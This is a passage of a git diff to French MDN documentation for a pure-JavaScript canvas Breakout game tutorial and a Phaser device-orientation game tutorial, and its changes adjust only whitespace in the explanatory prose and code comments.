**1<sup>re</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson1.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html). +C'est la **1<sup>re</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson1.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson01.html). -Avant d'écrire les fonctionnalités de notre jeu, nous devons créer une structure où le jeu sera rendu. C'est possible en utilisant HTML et l'élément {{htmlelement("canvas")}}. +Avant d'écrire les fonctionnalités de notre jeu, nous devons créer une structure où le jeu sera rendu. C'est possible en utilisant HTML et l'élément {{htmlelement("canvas")}}. ## La page HTML du jeu -La structure de la page HTML est vraiment simple, car tout le jeu sera contenu dans l'élément {{htmlelement("canvas")}}. Avec votre éditeur de texte préféré, créez un nouveau fichier HTML, sauvegardez-le sous le nom `index.html`, et ajoutez-y le code suivant : +La structure de la page HTML est vraiment simple, car tout le jeu sera contenu dans l'élément {{htmlelement("canvas")}}. Avec votre éditeur de texte préféré, créez un nouveau fichier HTML, sauvegardez-le sous le nom `index.html`, et ajoutez-y le code suivant : ```html <!DOCTYPE html> @@ -50,18 +50,18 @@ La structure de la page HTML est vraiment simple, car tout le jeu sera contenu d </html> ``` -Dans l'en-tête, nous avons défini l'encodage des caractères (`charset`), le titre {{htmlelement("title")}} et quelques règles CSS très simples. Le corps contient les éléments {{htmlelement("canvas")}} et {{htmlelement("script")}}. L'élément {{htmlelement("canvas")}} contiendra le rendu du jeu et l'élément {{htmlelement("script")}} l'emplacement du code JavaScript pour contrôler le jeu. L'élément {{htmlelement("canvas")}} a un identifiant nommé `myCanvas` qui permettra de le retrouver facilement en JavaScript, et possède des dimensions de 480 pixels de longueur et 320 pixels de hauteur. Tout le code JavaScript que nous allons écrire dans ce tutoriel sera contenu entre la balise ouvrante `<script>` et la balise fermante `</script>`. +Dans l'en-tête, nous avons défini l'encodage des caractères (`charset`), le titre {{htmlelement("title")}} et quelques règles CSS très simples. Le corps contient les éléments {{htmlelement("canvas")}} et {{htmlelement("script")}}. L'élément {{htmlelement("canvas")}} contiendra le rendu du jeu et l'élément {{htmlelement("script")}} l'emplacement du code JavaScript pour contrôler le jeu. L'élément {{htmlelement("canvas")}} a un identifiant nommé `myCanvas` qui permettra de le retrouver facilement en JavaScript, et possède des dimensions de 480 pixels de longueur et 320 pixels de hauteur. Tout le code JavaScript que nous allons écrire dans ce tutoriel sera contenu entre la balise ouvrante `<script>` et la balise fermante `</script>`. ## Les bases de Canvas -Pour utiliser l'élément {{htmlelement("canvas")}}, pour le rendu graphique de notre jeu, nous devons d'abord en donner la référence à JavaScript. Ajoutez le code après la balise ouvrante `<script>`. +Pour utiliser l'élément {{htmlelement("canvas")}}, pour le rendu graphique de notre jeu, nous devons d'abord en donner la référence à JavaScript. Ajoutez le code après la balise ouvrante `<script>`. ```js var canvas = document.getElementById("myCanvas"); var ctx = canvas.getContext("2d"); ``` -Ici nous avons enregistré la référence à l'élément {{htmlelement("canvas")}} dans une variable nommée `canvas`. Ensuite, nous créons la variable ctx pour stocker le contexte de rendu 2D — l'outil réel que nous pouvons utiliser pour peindre sur Canvas. +Ici nous avons enregistré la référence à l'élément {{htmlelement("canvas")}} dans une variable nommée `canvas`. Ensuite, nous créons la variable ctx pour stocker le contexte de rendu 2D — l'outil réel que nous pouvons utiliser pour peindre sur Canvas. Voyons un exemple de code qui imprime un carré rouge sur le canevas. Ajoutez ceci en dessous de vos lignes précédentes de JavaScript, puis chargez votre `index.html` dans un navigateur pour l'essayer. @@ -73,7 +73,7 @@ ctx.fill(); ctx.closePath(); ``` -Toutes les instructions sont entre les méthodes {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Nous définissons un rectangle en utilisant {{domxref("CanvasRenderingContext2D.rect()","rect()")}} : les deux premières valeurs spécifient les coordonnées du coin supérieur gauche du rectangle tandis que les deux suivantes spécifient la largeur et la hauteur du rectangle. Dans notre cas, le rectangle est peint à 20 pixels du côté gauche de l'écran et à 40 pixels du haut, et a une largeur de 50 pixels et une hauteur de 50 pixels, ce qui en fait un carré parfait. La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} stocke une couleur qui sera utilisée par la méthode {{domxref("CanvasRenderingContext2D.fill()","fill()")}} pour peindre le carré en rouge. +Toutes les instructions sont entre les méthodes {{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}} et {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}} . Nous définissons un rectangle en utilisant {{domxref("CanvasRenderingContext2D.rect()","rect()")}} : les deux premières valeurs spécifient les coordonnées du coin supérieur gauche du rectangle tandis que les deux suivantes spécifient la largeur et la hauteur du rectangle. Dans notre cas, le rectangle est peint à 20 pixels du côté gauche de l'écran et à 40 pixels du haut, et a une largeur de 50 pixels et une hauteur de 50 pixels, ce qui en fait un carré parfait. La propriété {{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}} stocke une couleur qui sera utilisée par la méthode {{domxref("CanvasRenderingContext2D.fill()","fill()")}} pour peindre le carré en rouge. Nous ne sommes pas limités aux rectangles, voici un code pour imprimer un cercle vert. Essayez d'ajouter ceci au bas de votre JavaScript, puis sauvegardez et rafraîchissez : @@ -108,11 +108,11 @@ Le code ci-dessus affiche un rectangle vide avec des traits bleus. Grâce au can ## Comparez votre code -Voici tout le code source de cette première leçon, fonctionnant avec JSFiddle : +Voici tout le code source de cette première leçon, fonctionnant avec JSFiddle : {{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}} -**Exercice** : essayez de changer la taille et la couleur des formes géométriques. +**Exercice** : essayez de changer la taille et la couleur des formes géométriques. ## Prochaines étapes diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.md index 74bd248ae1..c592c3da13 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.md @@ -36,7 +36,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { Au lieu de permettre à la balle de rebondir sur les quatre murs, nous n'en autoriserons que trois désormais — gauche, haut et droite. Toucher le mur du bas mettra fin à la partie. -Nous allons donc modifier le second bloc `if` (qui gère le déplacement sur l'axe vertical, y) en y ajoutant un `else if` qui déclenchera un Game Over si la balle entre en collision avec le mur du bas. Pour l'instant nous allons rester simple, afficher un message d'alerte et redémarrer le jeu en rechargeant la page. +Nous allons donc modifier le second bloc `if` (qui gère le déplacement sur l'axe vertical, y) en y ajoutant un `else if` qui déclenchera un Game Over si la balle entre en collision avec le mur du bas. Pour l'instant nous allons rester simple, afficher un message d'alerte et redémarrer le jeu en rechargeant la page. Tout d'abord remplacer l'appel initial à `setInterval()` @@ -58,13 +58,13 @@ if(y + dy < ballRadius) { } else if(y + dy > canvas.height-ballRadius) { alert("GAME OVER"); document.location.reload(); - clearInterval(interval); // Needed for Chrome to end game + clearInterval(interval); // Needed for Chrome to end game } ``` ## Faire rebondir la balle sur la raquette -La dernière chose à faire dans cette leçon est de créer une sorte de détection de collision entre la raquette et la balle, de sorte qu'elle puisse rebondir et revenir dans la zone de jeu. La chose la plus facile à faire est de vérifier si le centre de la balle se trouve entre les bords droit et gauche du paddle. Mettez à jour le dernier bout de code que vous venez de modifier, comme-ci dessous : +La dernière chose à faire dans cette leçon est de créer une sorte de détection de collision entre la raquette et la balle, de sorte qu'elle puisse rebondir et revenir dans la zone de jeu. La chose la plus facile à faire est de vérifier si le centre de la balle se trouve entre les bords droit et gauche du paddle. Mettez à jour le dernier bout de code que vous venez de modifier, comme-ci dessous : ```js if(y + dy < ballRadius) { diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.md index 3e2df54633..4199a2f93b 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/index.md @@ -15,17 +15,17 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript {{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}} -Dans ce tutoriel, nous allons créer pas à pas un jeu de casse-briques MDN, créé entièrement avec JavaScript et sans framework, et rendu avec la balise HTML5 {{htmlelement("canvas")}}. +Dans ce tutoriel, nous allons créer pas à pas un jeu de casse-briques MDN, créé entièrement avec JavaScript et sans framework, et rendu avec la balise HTML5 {{htmlelement("canvas")}}. -Chaque étape est modifiable en direct, et disponible en test pour que vous puissiez voir ce à quoi les étapes intermédiaires devraient ressembler. Vous apprendrez les bases d'utilisations de l'élément {{htmlelement("canvas")}} pour implémenter des mécaniques de base du jeu vidéo, comme charger et déplacer des images, les détections de collisions, les mécanismes de contrôle, et les conditions de victoire/défaite. +Chaque étape est modifiable en direct, et disponible en test pour que vous puissiez voir ce à quoi les étapes intermédiaires devraient ressembler. Vous apprendrez les bases d'utilisations de l'élément {{htmlelement("canvas")}} pour implémenter des mécaniques de base du jeu vidéo, comme charger et déplacer des images, les détections de collisions, les mécanismes de contrôle, et les conditions de victoire/défaite. -Pour comprendre la plupart des articles de ce tutoriel, vous devez déjà avoir un niveau basique ou intermédiaire en [JavaScript](/fr/Learn/Getting_started_with_the_web/JavaScript_basics). À la fin de ce tutoriel, vous serez capable de créer vos propres jeux Web. +Pour comprendre la plupart des articles de ce tutoriel, vous devez déjà avoir un niveau basique ou intermédiaire en [JavaScript](/fr/Learn/Getting_started_with_the_web/JavaScript_basics). À la fin de ce tutoriel, vous serez capable de créer vos propres jeux Web.  ## Détail de la leçon -Toutes les leçons — et les différentes versions de ce [jeu de casse-brique MDN](http://breakout.enclavegames.com/lesson10.html) que nous allons créer ensemble — sont [disponibles sur GitHub](https://github.com/end3r/Canvas-gamedev-workshop) : +Toutes les leçons — et les différentes versions de ce [jeu de casse-brique MDN](http://breakout.enclavegames.com/lesson10.html) que nous allons créer ensemble — sont [disponibles sur GitHub](https://github.com/end3r/Canvas-gamedev-workshop) : 1. [Créer l'élément canvas et dessiner dessus](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher) 2. [Déplacer la balle](/fr/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript/Move_the_ball) @@ -46,6 +46,6 @@ Commencer avec du Javascript pur et dur est le meilleur moyen d'acquérir des co ## Prochaines étapes -Ok, c'est parti ! Rendez-vous au premier chapitre pour commencer — Créer l'élément canvas et dessiner dessus +Ok, c'est parti ! Rendez-vous au premier chapitre pour commencer — Créer l'élément canvas et dessiner dessus {{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher")}} diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.md index ec2b525b5a..996bcc1eac 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/move_the_ball/index.md @@ -18,13 +18,13 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball Voici la deuxième étape de ce [tutoriel](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson2.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson02.html). -Nous avons vu dans l'article précédent comment dessiner une balle, maintenant déplaçons là. Techniquement, nous afficherons la balle sur l'écran, puis nous l'effacerons et ensuite nous la repeindrons dans une position légèrement différente et ceci à chaque image afin de donner l'impression d'un mouvement (tout comme le fonctionnement du mouvement dans les films). +Nous avons vu dans l'article précédent comment dessiner une balle, maintenant déplaçons là. Techniquement, nous afficherons la balle sur l'écran, puis nous l'effacerons et ensuite nous la repeindrons dans une position légèrement différente et ceci à chaque image afin de donner l'impression d'un mouvement (tout comme le fonctionnement du mouvement dans les films). ## Définir une boucle de dessin -Afin que le dessin soit mis à jour sur le canevas à chaque image, nous allons définir une fonction `draw()` qui sera exécutée en continu et qui utilisera des variables pour les positions des sprites, etc. Pour qu'une fonction s'exécute de façon répétée avec JavaScript, on pourra utiliser les méthodes {{domxref("WindowTimers.setInterval()", "setInterval()")}} ou {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}. +Afin que le dessin soit mis à jour sur le canevas à chaque image, nous allons définir une fonction `draw()` qui sera exécutée en continu et qui utilisera des variables pour les positions des sprites, etc. Pour qu'une fonction s'exécute de façon répétée avec JavaScript, on pourra utiliser les méthodes {{domxref("WindowTimers.setInterval()", "setInterval()")}} ou {{domxref("window.requestAnimationFrame()", "requestAnimationFrame()")}}. -Supprimez tout le JavaScript que vous avez actuellement dans votre HTML à l'exception des deux premières lignes puis ajoutez ce qui suit en dessous de ces lignes. La fonction `draw()` sera exécutée toutes les 10 millisecondes (environ) grâce à `setInterval` : +Supprimez tout le JavaScript que vous avez actuellement dans votre HTML à l'exception des deux premières lignes puis ajoutez ce qui suit en dessous de ces lignes. La fonction `draw()` sera exécutée toutes les 10 millisecondes (environ) grâce à `setInterval` : ```js function draw() { @@ -33,7 +33,7 @@ function draw() { setInterval(draw, 10); ``` -Grâce à la nature infinie de `setInterval`, la fonction `draw()` sera appelée toutes les 10 millisecondes, sans arrêt jusqu'à ce que nous y mettions un terme. Maintenant, dessinons la balle — ajoutons le code ci-dessous à notre fonction `draw()` : +Grâce à la nature infinie de `setInterval`, la fonction `draw()` sera appelée toutes les 10 millisecondes, sans arrêt jusqu'à ce que nous y mettions un terme. Maintenant, dessinons la balle — ajoutons le code ci-dessous à notre fonction `draw()` : ```js ctx.beginPath(); @@ -47,9 +47,9 @@ Essayez votre code mis à jour maintenant, la balle devrait être repeinte sur c ## Déplacer la balle -Pour le moment, vous ne voyez pas la balle "repeinte" car elle ne bouge pas. Améliorons tout ça. Pour commencer, au lieu d'une position bloquée à (50,50), nous allons définir un point de départ en bas et au milieu du canevas grâce aux variables `x` et `y` que nous utiliserons pour définir la position où le cercle est dessiné. +Pour le moment, vous ne voyez pas la balle "repeinte" car elle ne bouge pas. Améliorons tout ça. Pour commencer, au lieu d'une position bloquée à (50,50), nous allons définir un point de départ en bas et au milieu du canevas grâce aux variables `x` et `y` que nous utiliserons pour définir la position où le cercle est dessiné. -Ajoutez d'abord les deux lignes suivantes au-dessus de votre fonction `draw()` pour définir `x` et `y` : +Ajoutez d'abord les deux lignes suivantes au-dessus de votre fonction `draw()` pour définir `x` et `y` : ```js var x = canvas.width/2; @@ -68,14 +68,14 @@ function draw() { } ``` -Nous voici à la partie importante : nous voulons ajouter une valeur à `x` et `y` après que chaque image ait été dessinée afin de faire croire que la balle bouge. On définit ces valeurs comme `dx` et `dy` avec comme valeurs respectives 2 et -2. Ajoutez le code après la déclaration des variables `x` et `y` : +Nous voici à la partie importante : nous voulons ajouter une valeur à `x` et `y` après que chaque image ait été dessinée afin de faire croire que la balle bouge. On définit ces valeurs comme `dx` et `dy` avec comme valeurs respectives 2 et -2. Ajoutez le code après la déclaration des variables `x` et `y` : ```js var dx = 2; var dy = -2; ``` -La dernière chose à faire est de mettre à jour `x` et `y` avec nos variables `dx` et `dy` sur chaque image, de sorte que la balle sera peinte dans la nouvelle position à chaque nouvelle image. Ajoutez les deux nouvelles lignes, indiquées ci-dessous, à votre fonction `draw()` : +La dernière chose à faire est de mettre à jour `x` et `y` avec nos variables `dx` et `dy` sur chaque image, de sorte que la balle sera peinte dans la nouvelle position à chaque nouvelle image. Ajoutez les deux nouvelles lignes, indiquées ci-dessous, à votre fonction `draw()` : ```js function draw() { @@ -95,9 +95,9 @@ Enregistrez à nouveau votre code et essayez-le dans votre navigateur. Vous devr ## Effacer le canevas avant chaque image (_frame_) -La balle laisse une trace parce que qu'une nouveau cercle est dessiné sur chaque frame sans qu'on enlève le précédent. Pas d'inquiétude, il existe un moyen d'effacer le contenu du canevas : {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}. Cette méthode prend en compte quatre paramètres: les coordonnées x et y du coin supérieur gauche d'un rectangle et les coordonnées x et y du coin inférieur droit d'un rectangle. Toute la zone couverte par ce rectangle sera effacée. +La balle laisse une trace parce que qu'une nouveau cercle est dessiné sur chaque frame sans qu'on enlève le précédent. Pas d'inquiétude, il existe un moyen d'effacer le contenu du canevas : {{domxref("CanvasRenderingContext2D.clearRect()","clearRect()")}}. Cette méthode prend en compte quatre paramètres: les coordonnées x et y du coin supérieur gauche d'un rectangle et les coordonnées x et y du coin inférieur droit d'un rectangle. Toute la zone couverte par ce rectangle sera effacée. -Ajoutez la nouvelle ligne en surbrillance ci-dessous à la fonction `draw()` : +Ajoutez la nouvelle ligne en surbrillance ci-dessous à la fonction `draw()` : ```js function draw() { @@ -112,11 +112,11 @@ function draw() { } ``` -Enregistrez votre code et essayez à nouveau. Cette fois, vous verrez la balle se déplacer sans laisser de trace. Toutes les 10 millisecondes, le canvas est effacé, la balle est dessinée sur une position donnée et les valeurs `x` et `y` sont mises à jour pour l'image suivante (en anglais, on parle de "_frame"_). +Enregistrez votre code et essayez à nouveau. Cette fois, vous verrez la balle se déplacer sans laisser de trace. Toutes les 10 millisecondes, le canvas est effacé, la balle est dessinée sur une position donnée et les valeurs `x` et `y` sont mises à jour pour l'image suivante (en anglais, on parle de "_frame"_). ## Nettoyer notre code -Dans les prochains articles, nous allons ajouter de plus en plus de d'instructions à la fonction `draw()`. Mieux vaut donc la garder aussi simple et propre que possible. Commençons par déplacer le code s'occupant de dessiner de la balle vers une fonction séparée. +Dans les prochains articles, nous allons ajouter de plus en plus de d'instructions à la fonction `draw()`. Mieux vaut donc la garder aussi simple et propre que possible. Commençons par déplacer le code s'occupant de dessiner de la balle vers une fonction séparée. Remplacez la fonction `draw()` existante par les deux fonctions suivantes : @@ -143,10 +143,10 @@ Vous pouvez vérifier le code de cet article avec la démo qui suit et jouer ave {{JSFiddleEmbed("https://jsfiddle.net/end3r/3x5foxb1/","","395")}} -Exercice : Essayez de changer la vitesse de la balle en mouvement ou la direction dans laquelle elle se déplace. +Exercice : Essayez de changer la vitesse de la balle en mouvement ou la direction dans laquelle elle se déplace. ## Prochaines étapes -Nous avons dessiné nottre balle et elle se déplace mais elle ne cesse de disparaître du bord de notre canevas. Dans le troisième chapitre, nous verrons comment [faire rebondir la balle](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs) contre les bords. +Nous avons dessiné nottre balle et elle se déplace mais elle ne cesse de disparaître du bord de notre canevas. Dans le troisième chapitre, nous verrons comment [faire rebondir la balle](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs) contre les bords. {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/creer_element_canvas_et_afficher", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs")}} diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.md index 45c8e1bfa0..6d12a25b8e 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.md @@ -18,7 +18,7 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_et_contr {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Faire_rebondir_la_balle_sur_les_murs", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}} -C'est la **4<sup>e</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson4.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson04.html). +C'est la **4<sup>e</sup> étape sur** 10 de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript). Vous pouvez retrouver le code source de cette leçon sur [Gamedev-Canvas-workshop/lesson4.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson04.html). La balle rebondit librement partout et vous pourriez la regarder indéfiniment... Mais il n'y a pas d'interaction avec le joueur. Ce n'est pas un jeu si vous ne pouvez pas le contrôler ! Nous allons donc ajouter une interaction avec le joueur : une raquette contrôlable. @@ -91,9 +91,9 @@ function keyUpHandler(e) { } ``` -Quand on presse une touche du clavier, l'information est stockée dans une variable. La variable concernée est mis sur `true`. Quand la touche est relachée, la variable revient à `false`. +Quand on presse une touche du clavier, l'information est stockée dans une variable. La variable concernée est mis sur `true`. Quand la touche est relachée, la variable revient à `false`. -Les deux fonctions prennent un événement comme paramètre, représenté par la variable `e`. De là, vous pouvez obtenir des informations utiles : la propriété `key` contient les informations sur la touche qui a été enfoncée. La plupart des navigateurs utilisent `ArrowRight` et `ArrowLeft` pour les touches de flèche gauche/droite, mais nous devons également tester `Right` and `Left` pour prendre en charge les navigateurs IE/Edge. Si la touche gauche est enfoncé, la variable `leftPressed` est mise à `true`, et lorsqu'elle est relâchée, la variable `leftPressed` est mise à `false`. Le même principe s'applique à la touche droite et à la variable `RightPressed`. +Les deux fonctions prennent un événement comme paramètre, représenté par la variable `e`. De là, vous pouvez obtenir des informations utiles : la propriété `key` contient les informations sur la touche qui a été enfoncée. La plupart des navigateurs utilisent `ArrowRight` et `ArrowLeft` pour les touches de flèche gauche/droite, mais nous devons également tester `Right` and `Left` pour prendre en charge les navigateurs IE/Edge. Si la touche gauche est enfoncé, la variable `leftPressed` est mise à `true`, et lorsqu'elle est relâchée, la variable `leftPressed` est mise à `false`. Le même principe s'applique à la touche droite et à la variable `RightPressed`. ### La logique du déplacement de la raquette diff --git a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.md b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.md index 0ef6279158..e66cd4b6a6 100644 --- a/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.md +++ b/files/fr/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.md @@ -8,7 +8,7 @@ original_slug: Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_ {{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}} -Ceci est la **8<sup>e</sup>** étape de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à : [Gamedev-Canvas-workshop/lesson8.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html). +Ceci est la **8<sup>e</sup>** étape de ce [tutoriel Gamedev Canvas](/fr/docs/Games/Workflows/Breakout_game_from_scratch). Vous pouvez trouver le code source tel qu'il devrait être après avoir terminé cette leçon à : [Gamedev-Canvas-workshop/lesson8.html](https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html). Détruire les briques est vraiment cool, mais pour être encore meilleur le jeu pourrait attribuer des points pour chaque brique touchée et compter le score total. @@ -20,7 +20,7 @@ Si vous pouvez voir votre score durant le jeu, vous pourrez impressioner vos ami var score = 0; ``` -Vous avez aussi besoin d'une fonction `drawScore()`, pour créer et mettre à jour l'affichage du score. Ajoutez ce qui suit après la fonction de détection de collision `collisionDetection()`: +Vous avez aussi besoin d'une fonction `drawScore()`, pour créer et mettre à jour l'affichage du score. Ajoutez ce qui suit après la fonction de détection de collision `collisionDetection()`: ```js function drawScore() { @@ -30,9 +30,9 @@ function drawScore() { } ``` -Dessiner du texte sur un canvas revient à dessiner une forme. La définition de la police est identique à celle en CSS — vous pouvez définir la taille et le type avec la méthode {{domxref("CanvasRenderingContext2D.font","font()")}}. Puis utilisez {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} pour définir la couleur de la police et {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} pour définir la position du texte sur le canevas. Le premier paramètre est le texte lui-même — le code ci-dessus indique le nombre actuel de points — et les deux derniers paramètres sont les coordonnées où le texte est placé sur le canevas. +Dessiner du texte sur un canvas revient à dessiner une forme. La définition de la police est identique à celle en CSS — vous pouvez définir la taille et le type avec la méthode {{domxref("CanvasRenderingContext2D.font","font()")}}. Puis utilisez {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} pour définir la couleur de la police et {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} pour définir la position du texte sur le canevas. Le premier paramètre est le texte lui-même — le code ci-dessus indique le nombre actuel de points — et les deux derniers paramètres sont les coordonnées où le texte est placé sur le canevas. -Pour attribuer le score à chaque collision avec une brique, ajoutez une ligne à la fonction `collisionDetection()` afin d'incrémenter la valeur de la variable score à chaque détection d'une collision. Ajoutez à votre code la ligne mise en évidence ci-dessous : +Pour attribuer le score à chaque collision avec une brique, ajoutez une ligne à la fonction `collisionDetection()` afin d'incrémenter la valeur de la variable score à chaque détection d'une collision. Ajoutez à votre code la ligne mise en évidence ci-dessous : ```js function collisionDetection() { @@ -51,7 +51,7 @@ function collisionDetection() { } ``` -Appelez la fonction `drawScore()` dans la fonction `draw()` pour garder le score à jour à chaque nouvelle frame — ajoutez la ligne suivante dans la fonction `draw()`, en dessous de l'appel à `drawPaddle()` : +Appelez la fonction `drawScore()` dans la fonction `draw()` pour garder le score à jour à chaque nouvelle frame — ajoutez la ligne suivante dans la fonction `draw()`, en dessous de l'appel à `drawPaddle()` : ```js drawScore(); @@ -59,7 +59,7 @@ drawScore(); ## Ajoutez un message de victoire lorsque toutes les briques ont été détruites -Le comptage des points fonctionne bien, mais vous ne les compterez pas indéfiniment. Alors qu'en est-il du score lorsque toutes les briques ont été détruites ? Après tout c'est l'objectif principal du jeu. Vous devez donc afficher un message de victoire si toutes les briques ont été détruites. Ajoutez la section mise en évidence dans votre fonction `collisionDetection()`: +Le comptage des points fonctionne bien, mais vous ne les compterez pas indéfiniment. Alors qu'en est-il du score lorsque toutes les briques ont été détruites ? Après tout c'est l'objectif principal du jeu. Vous devez donc afficher un message de victoire si toutes les briques ont été détruites. Ajoutez la section mise en évidence dans votre fonction `collisionDetection()`: ```js function collisionDetection() { @@ -74,7 +74,7 @@ function collisionDetection() { if(score == brickRowCount*brickColumnCount) { alert("C'est gagné, Bravo!"); document.location.reload(); - clearInterval(interval); // Needed for Chrome to end game + clearInterval(interval); // Needed for Chrome to end game } } } @@ -83,7 +83,7 @@ function collisionDetection() { } ``` -Grâce à ça, les utilisateurs peuvent réellement gagner le jeu. La fonction `document.location.reload()` recharge la page et redémarre le jeu au clic sur le bouton d'alerte. +Grâce à ça, les utilisateurs peuvent réellement gagner le jeu. La fonction `document.location.reload()` recharge la page et redémarre le jeu au clic sur le bouton d'alerte. ## Comparez votre code diff --git a/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.md b/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.md index d5c7702d58..2c8008ef2a 100644 --- a/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.md +++ b/files/fr/games/tutorials/html5_gamedev_phaser_device_orientation/index.md @@ -8,7 +8,7 @@ original_slug: Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation_FR {{IncludeSubnav("/fr/docs/Jeux")}} -Dans ce tutoriel, nous allons passer par le processus de construction d'un jeu mobile HTML5 qui utilise les API [Device Orientation](/fr/Apps/Fundamentals/gather_and_modify_data/responding_to_device_orientation_changes) et [Vibration](/fr/docs/Web/API/Vibration_API) pour améliorer le "gameplay" et est construit avec le "framework" [Phaser](http://phaser.io/). La connaissance JavaScript de base est recommandée pour tirer le meilleur parti de ce tutoriel. +Dans ce tutoriel, nous allons passer par le processus de construction d'un jeu mobile HTML5 qui utilise les API [Device Orientation](/fr/Apps/Fundamentals/gather_and_modify_data/responding_to_device_orientation_changes) et [Vibration](/fr/docs/Web/API/Vibration_API) pour améliorer le "gameplay" et est construit avec le "framework" [Phaser](http://phaser.io/). La connaissance JavaScript de base est recommandée pour tirer le meilleur parti de ce tutoriel. ## Exemple de jeu @@ -18,7 +18,7 @@ A la fin de ce tutoriel, vous aurez une démo entièrement fonctionnelle du jeu ## Le framework Phaser -[Phaser](http://phaser.io/) est un framework pour créer des jeux mobiles et PC en utilisant les technologies HTML5. Malgré son manque de maturité, la communauté est assez active, et il évolue rapidement. Les sources sont [sur GitHub](https://github.com/photonstorm/phaser), lisez y la [documentation](http://docs.phaser.io/) de base, jetez un œil aux [exemples](http://examples.phaser.io/). Le framework Phaser offre un ensemble d'outils qui permettent d'accélérer le développement et aident à mettre en oeuvre les tâches courantes nécessaires au développement d'un jeu. +[Phaser](http://phaser.io/) est un framework pour créer des jeux mobiles et PC en utilisant les technologies HTML5. Malgré son manque de maturité, la communauté est assez active, et il évolue rapidement. Les sources sont [sur GitHub](https://github.com/photonstorm/phaser), lisez y la 